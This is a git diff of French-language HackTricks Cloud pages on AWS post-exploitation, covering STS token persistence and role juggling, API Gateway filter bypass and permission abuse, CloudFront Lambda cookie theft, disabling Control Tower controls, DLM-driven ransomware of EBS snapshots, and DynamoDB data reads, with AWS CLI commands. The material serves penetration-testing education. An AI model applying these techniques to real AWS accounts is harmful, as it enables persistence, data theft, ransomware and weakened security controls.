Pour plus d'informations, accédez à :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Jeton de rôle assumé
|
||||
### Assume role token
|
||||
|
||||
Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de maintenir la persistance.
|
||||
Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de conserver la persistance.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Avec MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
|
||||
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Le nom de l'appareil virtuel est l'ARN dans AWS, tel que arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Jonglage de chaînes de rôles
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Le chaînage de rôles est une fonctionnalité reconnue d'AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisée pour maintenir une persistance discrète. Cela implique la capacité d'**assumer un rôle qui en assume ensuite un autre**, pouvant potentiellement revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est actualisé. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisé pour maintenir une persistance furtive. Cela implique la capacité de **assume a role which then assumes another**, pouvant revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est rafraîchi. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
|
||||
|
||||
Vous pouvez utiliser cet [**outil**](https://github.com/hotnops/AWSRoleJuggler/) pour continuer le chaînage de rôles :
|
||||
Vous pouvez utiliser cet [**tool**](https://github.com/hotnops/AWSRoleJuggler/) pour maintenir le role chaining :
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôles peut être configurée.
|
||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les façons dont une chaîne de rôles peut être configurée.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
|
||||
<summary>Code pour effectuer du Role Juggling depuis PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,46 +1,46 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Accéder aux API non exposées
|
||||
### Accéder aux APIs non exposées
|
||||
|
||||
Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.\
|
||||
Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the API Gateway that wasn't exposed before.
|
||||
|
||||
### Contourner le passage du corps de la requête
|
||||
### Bypass Request body passthrough
|
||||
|
||||
Cette technique a été trouvée dans [**ce compte rendu CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
Cette technique a été trouvée dans [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Comme indiqué dans la [**documentation AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back-end sans transformation.
|
||||
Comme indiqué dans la [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back end sans transformation.
|
||||
|
||||
Par conséquent, dans le CTF, la passerelle API avait un modèle d'intégration qui **empêchait le drapeau d'être exfiltré** dans une réponse lorsqu'une requête était envoyée avec `Content-Type: application/json` :
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Cependant, l'envoi d'une requête avec **`Content-type: text/json`** empêcherait ce filtre.
|
||||
Cependant, l'envoi d'une requête avec **`Content-type: text/json`** contournerait ce filtre.
|
||||
|
||||
Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête `X-HTTP-Method-Override: GET`:
|
||||
Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête `X-HTTP-Method-Override: GET` :
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Plans d'utilisation DoS
|
||||
### Usage Plans DoS
|
||||
|
||||
Dans la section **Énumération**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
|
||||
Dans la section **Énumération** vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pouvez **simplement l'utiliser et provoquer un DoS**.
|
||||
|
||||
La **clé API** doit simplement être **incluse** dans un **en-tête HTTP** appelé **`x-api-key`**.
|
||||
L'**API Key** doit simplement être **inclue** dans un **HTTP header** appelé **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaquant avec les permissions `apigateway:UpdateGatewayResponse` et `apigateway:CreateDeployment` peut **modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
|
||||
Un attaquant disposant des permissions `apigateway:UpdateGatewayResponse` et `apigateway:CreateDeployment` peut **modifier une Gateway Response existante pour inclure des en-têtes personnalisés ou des templates de réponse qui leak des informations sensibles ou exécutent des scripts malveillants**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.
|
||||
**Impact potentiel** : Divulgation d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.
|
||||
|
||||
> [!NOTE]
|
||||
> Besoin de tests
|
||||
> Nécessite des tests
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaquant disposant des autorisations `apigateway:UpdateStage` et `apigateway:CreateDeployment` peut **modifier une étape API Gateway existante pour rediriger le trafic vers une autre étape ou changer les paramètres de mise en cache pour obtenir un accès non autorisé aux données mises en cache**.
|
||||
Un attaquant disposant des permissions `apigateway:UpdateStage` et `apigateway:CreateDeployment` peut **modifier un stage existant d'API Gateway pour rediriger le trafic vers un autre stage ou modifier les paramètres de mise en cache afin d'obtenir un accès non autorisé aux données mises en cache**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -72,11 +72,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
**Impact potentiel** : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API.
|
||||
|
||||
> [!NOTE]
|
||||
> Besoin de tests
|
||||
> Nécessite des tests
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaquant ayant les permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
|
||||
Un attaquant disposant des permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier le method response d'une méthode existante d'API Gateway REST API pour inclure des custom headers ou des response templates qui leak des informations sensibles ou exécutent des scripts malveillants**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.
|
||||
**Impact potentiel**: Leakage d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources de l'API.
|
||||
|
||||
> [!NOTE]
|
||||
> Besoin de tests
|
||||
> Nécessite des tests
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Un attaquant disposant des autorisations `apigateway:UpdateRestApi` et `apigateway:CreateDeployment` peut **modifier les paramètres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API**.
|
||||
Un attaquant disposant des permissions `apigateway:UpdateRestApi` et `apigateway:CreateDeployment` peut **modifier les paramètres de l'API REST d'API Gateway pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impact potentiel** : Affaiblissement de la sécurité de l'API, permettant potentiellement un accès non autorisé ou exposant des informations sensibles.
|
||||
**Impact potentiel** : Affaiblissement de la sécurité de l'API, pouvant permettre un accès non autorisé ou exposer des informations sensibles.
|
||||
|
||||
> [!NOTE]
|
||||
> Besoin de tests
|
||||
> Nécessite des tests
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
Un attaquant avec les autorisations `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, et `apigateway:CreateUsagePlanKey` peut **créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accès non autorisé aux APIs**.
|
||||
Un attaquant disposant des permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, et `apigateway:CreateUsagePlanKey` peut **créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour accéder aux API sans autorisation**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Impact potentiel** : Accès non autorisé aux ressources API, contournement des contrôles de sécurité.
|
||||
**Potential Impact**: Accès non autorisé aux ressources API, contournement des contrôles de sécurité.
|
||||
|
||||
> [!NOTE]
|
||||
> Besoin de tests
|
||||
> Nécessite des tests
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
|
||||
|
||||
#### scénario 1 : MitM où CloudFront est configuré pour accéder à un HTML d'un bucket
|
||||
|
||||
- **Créer** la **fonction** malveillante.
|
||||
- **L'associer** à la distribution CloudFront.
|
||||
- Définir le **type d'événement sur "Viewer Response"**.
|
||||
|
||||
En accédant à la réponse, vous pourriez voler le cookie des utilisateurs et injecter un JS malveillant.
|
||||
|
||||
#### scénario 2 : MitM où CloudFront utilise déjà une fonction lambda
|
||||
|
||||
- **Modifier le code** de la fonction lambda pour voler des informations sensibles
|
||||
|
||||
Vous pouvez consulter le [**code tf pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post-exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication through CloudFront** dans le but de **voler** des informations utilisateur (comme le cookie de session) et de **modifier** la **réponse** (en injectant un script JS malveillant).
|
||||
|
||||
#### scénario 1 : MitM où CloudFront est configuré pour accéder à du HTML d'un bucket
|
||||
|
||||
- **Créer** la **fonction** malveillante.
|
||||
- **Associer** la à la distribution CloudFront.
|
||||
- Définir le **type d'événement sur "Viewer Response"**.
|
||||
|
||||
En accédant à la réponse, vous pouvez voler le cookie des utilisateurs et injecter un JS malveillant.
|
||||
|
||||
#### scénario 2 : MitM où CloudFront utilise déjà une Lambda function
|
||||
|
||||
- **Modifier le code** de la Lambda function pour voler des informations sensibles
|
||||
|
||||
Vous pouvez consulter le [**tf code pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +0,0 @@
|
||||
# AWS - Contrôle de la Tour Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Contrôle de la Tour
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Activer / Désactiver les Contrôles
|
||||
|
||||
Pour exploiter davantage un compte, vous pourriez avoir besoin de désactiver/activer les contrôles de la Tour de Contrôle :
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,18 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Activer / Désactiver les contrôles
|
||||
|
||||
Pour exploiter davantage un compte, vous pourriez devoir désactiver/activer les contrôles de Control Tower :
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Une attaque par ransomware peut être exécutée en chiffrant autant de volumes EBS que possible, puis en effaçant les instances EC2, les volumes EBS et les snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une clé KMS d'un autre compte AWS et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils pourraient transférer des snapshots sans chiffrement vers un compte qu'ils gèrent, puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement les volumes EBS ou les snapshots existants, il est possible de le faire en créant un nouveau volume ou un nouveau snapshot.
|
||||
|
||||
Tout d'abord, on utilisera une commande pour rassembler des informations sur les volumes, telles que l'ID d'instance, l'ID de volume, l'état de chiffrement, l'état de connexion et le type de volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les tags cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un modèle pour le document de politique peut être vu ici :
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Une attaque de ransomware peut être réalisée en chiffrant autant d'EBS volumes que possible puis en effaçant les EC2 instances, EBS volumes et snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une KMS key provenant d'un autre AWS account et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils peuvent transférer des snapshots sans chiffrement vers un compte qu'ils contrôlent puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement des EBS volumes ou snapshots existants, il est possible de le faire en créant un nouveau volume ou snapshot.
|
||||
|
||||
Premièrement, on utilisera une commande pour récupérer des informations sur les volumes, telles que instance ID, volume ID, encryption status, attachment status et volume type.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Deuxièmement, on créera la lifecycle policy. Cette commande utilise la DLM API pour configurer une lifecycle policy qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un horaire défini. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json contient les détails de la lifecycle policy, tels que target tags, schedule, l'ARN de la KMS key optionnelle pour le chiffrement, et le target account pour le partage des snapshots, qui seront enregistrés dans les logs CloudTrail de la victime.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un modèle du document de politique est disponible ici :
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
|
||||
**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Avec cette permission, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
|
||||
Avec cette autorisation, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
**Impact potentiel:** Privesc indirecte en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table si la clé primaire de l'entrée à récupérer est fournie. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour récupérer toute la base de données en une seule requête.
|
||||
